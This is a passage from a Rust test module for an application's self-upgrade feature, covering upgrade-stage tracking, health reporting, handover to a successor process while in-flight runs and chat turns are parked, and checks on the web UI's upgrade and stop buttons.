19980        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
19981        p.stage = stage;
19982        p
19983    }
19984
19985    #[test]
19986    fn busy_stages_match_the_ui_set() {
19987        use crate::updater::Stage;
19988        assert!(APP_JS.contains(
19989            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
19990        ));
19991        for s in [
19992            Stage::Downloading,
19993            Stage::Replaced,
19994            Stage::Parking,
19995            Stage::Restarting,
19996        ] {
19997            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
19998        }
19999        for s in [Stage::Done, Stage::Failed] {
20000            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20001        }
20002        assert!(upgrade_in_motion(None).is_none());
20003    }
20004
20005    #[tokio::test]
20006    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20007        use crate::updater::Stage;
20008        for stage in [
20009            Stage::Downloading,
20010            Stage::Replaced,
20011            Stage::Parking,
20012            Stage::Restarting,
20013        ] {
20014            let fx = Fixture::start().await;
20015            let seeded = seeded_progress(stage);
20016            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20017            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20018                .expect("read");
20019
20020            let res = fx.post("/api/upgrade", None).await;
20021            assert_eq!(res.status, 409, "{stage:?}");
20022            let err = res.json()["error"].as_str().unwrap().to_owned();
20023            assert!(err.contains("already in progress"), "{err}");
20024            assert!(err.contains(stage.as_str()), "{err}");
20025
20026            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20027                .expect("read");
20028            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20029            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20030                .unwrap_or_default();
20031            assert!(!log.contains("signalling HANDOVER"), "{log}");
20032        }
20033    }
20034
20035    #[tokio::test]
20036    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20037        use crate::updater::Stage;
20038        let repo = TempDir::new().expect("repo dir");
20039        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20040            .expect("write magi.toml");
20041        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20042        for stage in [Stage::Done, Stage::Failed] {
20043            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20044            let res = fx.post("/api/upgrade", None).await;
20045            assert_eq!(res.status, 200, "{stage:?}");
20046        }
20047        // No record at all, and the gate was released by the earlier calls.
20048        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20049        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20050    }
20051
20052    #[tokio::test]
20053    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20054        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
20055        // and the route answers from its own logic.
20056        //
20057        // This test used to lean on the fixture's placeholder repo failing
20058        // config discovery, which left `mode = "notify"` - and a live,
20059        // unauthenticated call to the GitHub releases API inside a unit test.
20060        // GitHub allows 60 of those an hour per address, so the suite went red
20061        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
20062        // long as somebody kept re-running it: every attempt spent another
20063        // request. Six reruns across four pull requests were charged to that
20064        // before it was read as a rate limit rather than a flake.
20065        //
20066        // What the assertion is about is the "already current" branch, which
20067        // is reached by there being no newer release *or* nowhere to look. The
20068        // second one needs no network and cannot be rate limited.
20069        let repo = TempDir::new().expect("repo dir");
20070        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20071            .expect("write magi.toml");
20072        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20073
20074        // It must answer 200 and leave the process alone: restarting for an
20075        // upgrade that did not happen parks the run in flight and drops every
20076        // connection to pay for nothing. A probe against a deck already on the
20077        // newest build did exactly that, which is how this case got its own
20078        // branch.
20079        let res = fx.post("/api/upgrade", None).await;
20080        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20081        let body = res.json();
20082        assert!(body["to"].is_null(), "there was no release to move to");
20083        assert!(body["parked"].is_null(), "and nothing was parked");
20084        assert!(
20085            body["detail"]
20086                .as_str()
20087                .unwrap()
20088                .contains("nothing restarted"),
20089            "{body:?}"
20090        );
20091    }
20092
20093    #[tokio::test]
20094    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20095        // `mode = "off"` for the same reason as the test above: a default
20096        // fixture repo falls back to `mode = "notify"`, which would make this
20097        // route's new `update` field a live, unauthenticated GitHub call on
20098        // every assertion in this suite that happens to hit `/api/health`.
20099        let repo = TempDir::new().expect("repo dir");
20100        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20101            .expect("write magi.toml");
20102        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20103
20104        let health = fx.get("/api/health").await.json();
20105        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20106        assert_eq!(
20107            health["update"]["available"], false,
20108            "checking is off, which reads as \"unknown\", not \"none\""
20109        );
20110        assert!(health["update"]["to"].is_null());
20111        assert!(
20112            health["upgrade"].is_null(),
20113            "nothing has ever asked this deck to upgrade"
20114        );
20115    }
20116
20117    #[tokio::test]
20118    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
20119        let fx = Fixture::start().await;
20120        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
20121
20122        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20123        progress.parked_run = Some("20260905-000000-cd51".to_owned());
20124        progress.advance(crate::updater::Stage::Parking);
20125        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20126
20127        let health = fx.get("/api/health").await.json();
20128        assert_eq!(health["upgrade"]["stage"], "parking");
20129        assert_eq!(health["upgrade"]["from"], "0.5.1");
20130        assert_eq!(health["upgrade"]["to"], "0.5.2");
20131        let waiting_on = health["upgrade"]["waiting_on"]
20132            .as_str()
20133            .expect("waiting_on is set while parking a known run");
20134        assert!(waiting_on.contains("cd51"), "{waiting_on}");
20135        assert!(waiting_on.contains("implementing"), "{waiting_on}");
20136    }
20137
20138    #[tokio::test]
20139    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
20140        let fx = Fixture::start().await;
20141        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20142        progress.advance(crate::updater::Stage::Done);
20143        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20144
20145        let health = fx.get("/api/health").await.json();
20146        assert_eq!(health["upgrade"]["stage"], "done");
20147        assert!(
20148            health["upgrade"]["waiting_on"].is_null(),
20149            "nothing to wait on once it is done"
20150        );
20151    }
20152
20153    #[tokio::test]
20154    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
20155        let home = TempDir::new().expect("temp home");
20156        let runs = home.path().join("runs");
20157        std::fs::create_dir_all(&runs).expect("runs dir");
20158        let ui = Ui::new(
20159            Queue::at(home.path().join("queue")),
20160            Questions::at(home.path().join("questions")),
20161            Talks::at(home.path().join("talks")),
20162            runs,
20163            home.path().to_path_buf(),
20164            PathBuf::from("/repo/magi"),
20165        )
20166        .with_launch(launch_idle);
20167        let looping = ui.looping();
20168        let turns = ui.turns();
20169        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20170            .await
20171            .expect("bind loopback");
20172        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20173
20174        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20175        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20176
20177        hand_over(
20178            home.path(),
20179            &looping,
20180            &turns,
20181            &|_: &[String]| Duration::from_secs(5),
20182            served,
20183            |_| Ok(1),
20184        )
20185        .await
20186        .expect("hand over");
20187
20188        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
20189        assert_eq!(
20190            after.stage,
20191            crate::updater::Stage::Restarting,
20192            "hand_over owns the record through parking and up to restarting; \
20193             the successor is what finishes it"
20194        );
20195    }
20196
20197    /// The successor is started exactly once on success, and exactly once on
20198    /// failure too (a failed start is reported, never retried).
20199    #[tokio::test]
20200    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
20201        for fail in [false, true] {
20202            let home = TempDir::new().expect("temp home");
20203            let ui = idle_ui(&home);
20204            let looping = ui.looping();
20205            let turns = ui.turns();
20206            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20207                .await
20208                .expect("bind loopback");
20209            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20210            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20211            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20212
20213            let calls = std::sync::atomic::AtomicUsize::new(0);
20214            let outcome = hand_over(
20215                home.path(),
20216                &looping,
20217                &turns,
20218                &|_: &[String]| Duration::from_secs(5),
20219                served,
20220                |_| {
20221                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20222                    if fail {
20223                        anyhow::bail!("no exec")
20224                    } else {
20225                        Ok(4242)
20226                    }
20227                },
20228            )
20229            .await;
20230            assert_eq!(outcome.is_err(), fail);
20231            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20232
20233            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
20234                .expect("upgrade.log is written under the home");
20235            for step in [
20236                "entered",
20237                "finish_loop",
20238                "listener released",
20239                "starting the successor",
20240            ] {
20241                assert!(log.contains(step), "missing `{step}` in:\n{log}");
20242            }
20243            assert!(
20244                log.contains(if fail { "did not start" } else { "pid 4242" }),
20245                "{log}"
20246            );
20247        }
20248    }
20249
20250    /// The handover signal is seen however the race falls, and wakes its one
20251    /// waiter once per signal - nothing here can spin.
20252    #[tokio::test]
20253    async fn the_handover_signal_wakes_one_waiter_once() {
20254        let signal = Notify::new();
20255        // Signalled before anyone waits: the stored permit is not lost.
20256        signal.notify_one();
20257        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
20258            .await
20259            .expect("an early signal is still seen");
20260        // One signal, one wake-up: a second wait does not resolve by itself.
20261        assert!(
20262            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
20263                .await
20264                .is_err(),
20265            "a consumed signal must not wake a second time"
20266        );
20267        // Signalled while waiting.
20268        let signal = std::sync::Arc::new(signal);
20269        let waiter = tokio::spawn({
20270            let signal = std::sync::Arc::clone(&signal);
20271            async move { wait_for_handover(&signal).await }
20272        });
20273        tokio::time::sleep(Duration::from_millis(20)).await;
20274        assert!(!waiter.is_finished(), "nothing was signalled yet");
20275        signal.notify_one();
20276        tokio::time::timeout(Duration::from_secs(5), waiter)
20277            .await
20278            .expect("a late signal wakes the waiter")
20279            .expect("join");
20280    }
20281
20282    #[tokio::test]
20283    async fn health_says_how_long_a_handover_has_been_stuck() {
20284        let fx = Fixture::start().await;
20285        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20286        progress.advance(crate::updater::Stage::Replaced);
20287        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20288        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20289
20290        let health = fx.get("/api/health").await.json();
20291        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20292        assert!(stuck >= 600, "{stuck}");
20293        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20294        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20295    }
20296
20297    #[tokio::test]
20298    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20299        let home = tempfile::tempdir().expect("temp home");
20300        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20301        progress.advance(crate::updater::Stage::Parking);
20302        crate::updater::write_progress(home.path(), &progress).expect("seed");
20303        // What the second upgrade_and_restart and its handler do.
20304        let mut again = progress.clone();
20305        again.advance(crate::updater::Stage::Replaced);
20306        crate::updater::write_progress(home.path(), &again).expect("replaced");
20307        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20308        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20309        let after = crate::updater::read_progress(home.path()).expect("record");
20310        assert_eq!(after.stage, crate::updater::Stage::Parking);
20311    }
20312
20313    #[tokio::test]
20314    async fn health_does_not_call_a_live_parking_wait_stuck() {
20315        let fx = Fixture::start().await;
20316        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20317        progress.parked_run = Some("20260905-000000-cd51".to_owned());
20318        progress.advance(crate::updater::Stage::Parking);
20319        let hours = Duration::from_secs(3 * 3600);
20320        progress.started_at = Timestamp::now() - hours;
20321        progress.updated_at = Timestamp::now() - hours;
20322        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20323        let _lease = crate::updater::LeaseGuard::enter(
20324            fx.home.path(),
20325            Some("20260905-000000-cd51".to_owned()),
20326        );
20327
20328        let health = fx.get("/api/health").await.json();
20329        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20330        assert!(health["upgrade"]["stuck_kind"].is_null());
20331        assert_eq!(health["upgrade"]["handover_alive"], true);
20332        let waiting_on = health["upgrade"]["waiting_on"]
20333            .as_str()
20334            .expect("waiting_on");
20335        assert!(waiting_on.contains("cd51"), "{waiting_on}");
20336    }
20337
20338    fn idle_ui(home: &TempDir) -> Ui {
20339        let runs = home.path().join("runs");
20340        std::fs::create_dir_all(&runs).expect("runs dir");
20341        Ui::new(
20342            Queue::at(home.path().join("queue")),
20343            Questions::at(home.path().join("questions")),
20344            Talks::at(home.path().join("talks")),
20345            runs,
20346            home.path().to_path_buf(),
20347            PathBuf::from("/repo/magi"),
20348        )
20349        .with_launch(launch_idle)
20350    }
20351
20352    async fn park_fixture(
20353        home: &TempDir,
20354    ) -> (
20355        Ui,
20356        Arc<Mutex<LoopState>>,
20357        Arc<Mutex<TalkTurns>>,
20358        tokio::task::JoinHandle<std::io::Result<()>>,
20359    ) {
20360        let ui = idle_ui(home);
20361        let looping = ui.looping();
20362        let turns = ui.turns();
20363        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20364            .await
20365            .expect("bind loopback");
20366        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20367        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20368        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20369        (ui, looping, turns, served)
20370    }
20371
20372    /// The hand-over does not release the address while a chat turn is in
20373    /// flight, a `/say` arriving meanwhile starts nothing, and the successor is
20374    /// started once the turn ends.
20375    #[tokio::test]
20376    async fn hand_over_waits_for_a_running_chat_turn() {
20377        let home = TempDir::new().expect("temp home");
20378        let (ui, looping, turns, served) = park_fixture(&home).await;
20379        let ui = Arc::new(ui);
20380        let id = "20260901-000000-chat";
20381        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20382
20383        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20384        let handover = tokio::spawn({
20385            let home = home.path().to_path_buf();
20386            let turns = Arc::clone(&turns);
20387            let calls = Arc::clone(&calls);
20388            async move {
20389                hand_over(
20390                    &home,
20391                    &looping,
20392                    &turns,
20393                    &|_: &[String]| Duration::from_secs(60),
20394                    served,
20395                    move |_| {
20396                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20397                        Ok(1)
20398                    },
20399                )
20400                .await
20401            }
20402        });
20403
20404        let waiting = async {
20405            for _ in 0..200 {
20406                if crate::updater::read_progress(home.path())
20407                    .is_some_and(|p| p.parked_talks == [id.to_owned()])
20408                {
20409                    return;
20410                }
20411                tokio::time::sleep(Duration::from_millis(25)).await;
20412            }
20413            panic!("the park never named the chat turn");
20414        };
20415        waiting.await;
20416        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20417
20418        // A new turn is refused, a queued claim and a direct `/say` see a busy
20419        // slot, and nothing new is live.
20420        let refused = ui.begin_talk_turn("20260901-000000-late").err();
20421        assert!(
20422            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20423            "a direct start says an upgrade is in progress"
20424        );
20425        assert!(
20426            ui.begin_queued_talk_turn("20260901-000000-late")
20427                .expect("queued claim")
20428                .is_none()
20429        );
20430        assert!(matches!(
20431            ui.begin_talk_turn_unless_pending("20260901-000000-late")
20432                .expect("start"),
20433            TalkTurnStart::Busy
20434        ));
20435        assert_eq!(turns.lock().unwrap().live.len(), 1);
20436
20437        // The health text names the turn.
20438        let progress = crate::updater::read_progress(home.path()).expect("progress");
20439        let view = upgrade_progress_view(&ui, progress);
20440        assert!(
20441            view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20442            "{:?}",
20443            view.waiting_on
20444        );
20445
20446        assert!(!handover.is_finished());
20447        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20448        drop(turn);
20449        handover.await.expect("join").expect("hand over");
20450        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20451        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20452    }
20453
20454    /// Chat stays open while the loop is still parking, and closes only once
20455    /// the loop is done; a turn started during the park is waited for.
20456    #[tokio::test]
20457    async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20458        let home = TempDir::new().expect("temp home");
20459        let (ui, looping, turns, served) = park_fixture(&home).await;
20460        let ui = Arc::new(ui);
20461        // A loop that ends only when told to.
20462        let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20463        lock_or_recover(&looping).live = Some(Live {
20464            stop: daemon::Stop::new(),
20465            handle: tokio::spawn(async move {
20466                let _ = loop_ended.await;
20467            }),
20468            opts: daemon::Opts::default(),
20469        });
20470
20471        let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20472        let handover = tokio::spawn({
20473            let home = home.path().to_path_buf();
20474            let turns = Arc::clone(&turns);
20475            let calls = Arc::clone(&calls);
20476            async move {
20477                hand_over(
20478                    &home,
20479                    &looping,
20480                    &turns,
20481                    &|_: &[String]| Duration::from_secs(60),
20482                    served,
20483                    move |_| {
20484                        calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20485                        Ok(1)
20486                    },
20487                )
20488                .await
20489            }
20490        });
20491
20492        let reached = async {
20493            for _ in 0..200 {
20494                if crate::updater::read_progress(home.path())
20495                    .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20496                {
20497                    return;
20498                }
20499                tokio::time::sleep(Duration::from_millis(25)).await;
20500            }
20501            panic!("the hand-over never reached parking");
20502        };
20503        reached.await;
20504
20505        // The loop is still parking: a chat turn starts.
20506        assert!(!turns.lock().unwrap().parking);
20507        let turn = ui
20508            .begin_talk_turn("20260901-000000-chat")
20509            .expect("claim")
20510            .expect("a turn can start while the loop parks");
20511
20512        // The loop ends; the slot closes while the first turn is still held.
20513        end_loop.send(()).expect("loop still waiting");
20514        for _ in 0..200 {
20515            if turns.lock().unwrap().parking {
20516                break;
20517            }
20518            tokio::time::sleep(Duration::from_millis(25)).await;
20519        }
20520        assert!(
20521            turns.lock().unwrap().parking,
20522            "closed once the loop is done"
20523        );
20524        let refused = ui.begin_talk_turn("20260901-000000-late").err();
20525        assert!(
20526            refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20527            "no turn starts once the loop is done"
20528        );
20529        assert!(
20530            ui.begin_queued_talk_turn("20260901-000000-late")
20531                .expect("queued claim")
20532                .is_none()
20533        );
20534        assert!(!handover.is_finished());
20535        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20536
20537        drop(turn);
20538        handover.await.expect("join").expect("hand over");
20539        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20540        assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20541    }
20542
20543    /// A turn that never ends cannot block the upgrade: past the bound the
20544    /// hand-over proceeds and records which talk it gave up on.
20545    #[tokio::test]
20546    async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20547        let home = TempDir::new().expect("temp home");
20548        let (ui, looping, turns, served) = park_fixture(&home).await;
20549        let id = "20260901-000000-stuk";
20550        let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20551
20552        let calls = std::sync::atomic::AtomicUsize::new(0);
20553        hand_over(
20554            home.path(),
20555            &looping,
20556            &turns,
20557            &|_: &[String]| Duration::from_millis(300),
20558            served,
20559            |_| {
20560                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20561                Ok(1)
20562            },
20563        )
20564        .await
20565        .expect("hand over");
20566        assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20567
20568        let progress = crate::updater::read_progress(home.path()).expect("progress");
20569        assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20570        assert!(
20571            progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20572            "{:?}",
20573            progress.detail
20574        );
20575        let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20576        assert!(
20577            log.contains("handing over anyway") && log.contains(id),
20578            "{log}"
20579        );
20580    }
20581
20582    /// A drain that finds the upgrade parking leaves the queued draft alone
20583    /// and gives the slot up, instead of starting another turn.
20584    #[tokio::test]
20585    async fn drain_loop_starts_no_turn_while_parking() {
20586        let tmp = TempDir::new().expect("tempdir");
20587        let repo = tmp.path().join("repo");
20588        std::fs::create_dir_all(&repo).expect("repo dir");
20589        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20590        let home = TempDir::new().expect("temp home");
20591        let talks = Talks::at(home.path().join("talks"));
20592        let ui = Ui::new(
20593            Queue::at(home.path().join("queue")),
20594            Questions::at(home.path().join("questions")),
20595            talks.clone(),
20596            home.path().join("runs"),
20597            home.path().to_path_buf(),
20598            repo.clone(),
20599        )
20600        .with_worktrees_root(home.path().join("wt"));
20601        let cfg = config_for(&repo).await.expect("discover config");
20602        let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20603        let id = talk.id.clone();
20604        talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20605        let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20606        let turns = ui.turns();
20607        let parking = ParkingTurns::begin(&turns);
20608
20609        drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20610
20611        assert!(
20612            turns.lock().unwrap().live.is_empty(),
20613            "the slot is given up"
20614        );
20615        let fresh = talks.get(&id).expect("talk");
20616        assert_eq!(fresh.pending, "later", "the draft is still queued");
20617        assert!(fresh.turns.is_empty(), "no turn ran");
20618        drop(parking);
20619    }
20620
20621    /// Run `hand_over` against `ui` and return what the successor was told.
20622    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
20623        let looping = ui.looping();
20624        let turns = ui.turns();
20625        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20626            .await
20627            .expect("bind loopback");
20628        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
20629        let told = std::sync::Mutex::new(None);
20630        hand_over(
20631            home.path(),
20632            &looping,
20633            &turns,
20634            &|_: &[String]| Duration::from_secs(5),
20635            served,
20636            |resume| {
20637                *told.lock().unwrap() = Some(resume);
20638                Ok(1)
20639            },
20640        )
20641        .await
20642        .expect("hand over");
20643        told.into_inner().unwrap().expect("successor was started")
20644    }
20645
20646    #[tokio::test]
20647    async fn a_running_loop_is_resumed_by_the_successor() {
20648        let home = TempDir::new().expect("temp home");
20649        let ui = idle_ui(&home);
20650        ui.start_loop(None).expect("start");
20651        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20652        // The idle loop sees the park and ends before the handover fires.
20653        for _ in 0..500 {
20654            if !ui.loop_view(None).running {
20655                break;
20656            }
20657            tokio::time::sleep(Duration::from_millis(2)).await;
20658        }
20659        assert!(handed_over(&home, ui).await, "a running loop must resume");
20660
20661        let successor = idle_ui(&home);
20662        assert!(!successor.loop_view(None).running);
20663        assert!(successor.resume_after_handover(true));
20664        assert!(successor.loop_view(None).running);
20665        successor.stop_loop(None, false).expect("stop");
20666    }
20667
20668    #[tokio::test]
20669    async fn a_second_upgrade_request_keeps_the_resume_intent() {
20670        let home = TempDir::new().expect("temp home");
20671        let ui = idle_ui(&home);
20672        ui.start_loop(None).expect("start");
20673        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20674            .expect("first park");
20675        ui.park_for_upgrade("0.1.0", Some("0.1.1"))
20676            .expect("second park");
20677        assert!(handed_over(&home, ui).await);
20678    }
20679
20680    #[tokio::test]
20681    async fn a_stop_during_the_handover_wait_is_honoured() {
20682        let home = TempDir::new().expect("temp home");
20683        let ui = idle_ui(&home);
20684        ui.start_loop(None).expect("start");
20685        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20686        ui.stop_loop(None, false).expect("stop");
20687        assert!(!handed_over(&home, ui).await);
20688    }
20689
20690    #[tokio::test]
20691    async fn an_idle_loop_stays_stopped_across_the_handover() {
20692        let home = TempDir::new().expect("temp home");
20693        let ui = idle_ui(&home);
20694        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20695        assert!(!handed_over(&home, ui).await);
20696
20697        let successor = idle_ui(&home);
20698        assert!(!successor.resume_after_handover(false));
20699        assert!(!successor.loop_view(None).running);
20700    }
20701
20702    #[tokio::test]
20703    async fn a_loop_the_operator_stopped_is_not_resumed() {
20704        let home = TempDir::new().expect("temp home");
20705        let ui = idle_ui(&home);
20706        ui.start_loop(None).expect("start");
20707        ui.stop_loop(None, false).expect("stop");
20708        ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
20709        assert!(!handed_over(&home, ui).await);
20710    }
20711
20712    #[test]
20713    fn only_an_explicit_one_requests_a_resume() {
20714        assert!(!resume_requested(None));
20715        assert!(!resume_requested(Some("0".into())));
20716        assert!(!resume_requested(Some("".into())));
20717        assert!(resume_requested(Some("1".into())));
20718    }
20719
20720    #[test]
20721    fn the_upgrade_button_arms_before_it_restarts_anything() {
20722        // It ends the process the operator is talking to, and a phone in a
20723        // pocket taps things. One tap arms, the second commits.
20724        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
20725        assert!(APP_JS.contains("Replace the binary and restart?"));
20726        assert!(APP_JS.contains("function confirmed("));
20727        // Hidden when the loop is somebody else's, matching the 409 above -
20728        // and hidden with nothing to install, matching the 200 "already
20729        // current" branch: an operator on the newest build must not be
20730        // offered a restart that would only park a run for nothing.
20731        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
20732        // A park waits for the node in flight, up to an hour for an implement
20733        // wave. Leaving the button reading "Upgrading…" for that long is the
20734        // same mistake as an error rendered off screen: it looks wedged.
20735        assert!(
20736            APP_JS.contains("Parking, then restarting"),
20737            "the button says what it is waiting for"
20738        );
20739        // And nothing to install must give the button back rather than
20740        // pretending a restart is coming.
20741        assert!(APP_JS.contains("if (!out.to)"));
20742    }
20743
20744    #[test]
20745    fn stopping_the_loop_arms_but_starting_does_not() {
20746        // A stray tap must not leave the queue stopped overnight, so a stop is
20747        // two taps through the same helper the upgrade uses; a start stays one.
20748        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
20749        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
20750        assert!(APP_JS.contains("confirmed(button, question)"));
20751        // The label put back on timeout is the one saved when arming, not a
20752        // hard-coded upgrade caption that would rename the stop button.
20753        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
20754        assert!(APP_JS.contains("const label = btn.textContent;"));
20755        assert!(!APP_JS.contains("Neither direction is guarded"));
20756    }
20757
20758    #[test]
20759    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
20760        assert!(
20761            APP_JS.contains("state.health.version"),
20762            "the operator wants to know what is running even with nothing newer"
20763        );
20764        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
20765    }
20766
20767    #[test]
20768    fn the_upgrade_button_names_its_destination() {
20769        assert!(
20770            APP_JS.contains("`Update to ${update.to}`"),
20771            "pressing the button should not be a surprise about what it moves to"
20772        );
20773    }
20774
20775    #[test]
20776    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20777        for stage in ["downloading", "replaced", "parking", "restarting"] {
20778            assert!(
20779                APP_JS.contains(&format!("\"{stage}\"")),
20780                "the phone must be able to tell {stage} apart from the others"
20781            );
20782        }
20783        assert!(APP_JS.contains(".waiting_on"));
20784        // What replaced the bare "Cannot reach magi: Failed to fetch": a
20785        // fetch failing while an upgrade is in flight is not an error, it is
20786        // the sub-second gap `bind_waiting` covers, and it must not be
20787        // reported as one.
20788        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20789        assert!(APP_JS.contains("reconnects on its own"));
20790    }
20791
20792    #[test]
20793    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20794        // `Stage::Failed` is terminal on the server and nothing clears it on
20795        // its own - not a fresh start, not time passing - so a full-strip
20796        // takeover for it (the way the busy stages take the strip over,
20797        // correctly, because those are transient) would have hidden
20798        // start/stop/park behind an upgrade notice with no way back short of
20799        // a person editing `upgrade.json` by hand or a later release
20800        // happening to succeed. The failure must instead ride along as a note
20801        // next to whatever control the loop's own state already offers.
20802        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20803            ..APP_JS.find("function upgrade(").expect("upgrade")];
20804        assert!(
20805            !body.contains(
20806                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
20807            ),
20808            "a failed upgrade must not take the whole strip over the way it used to"
20809        );
20810        assert!(
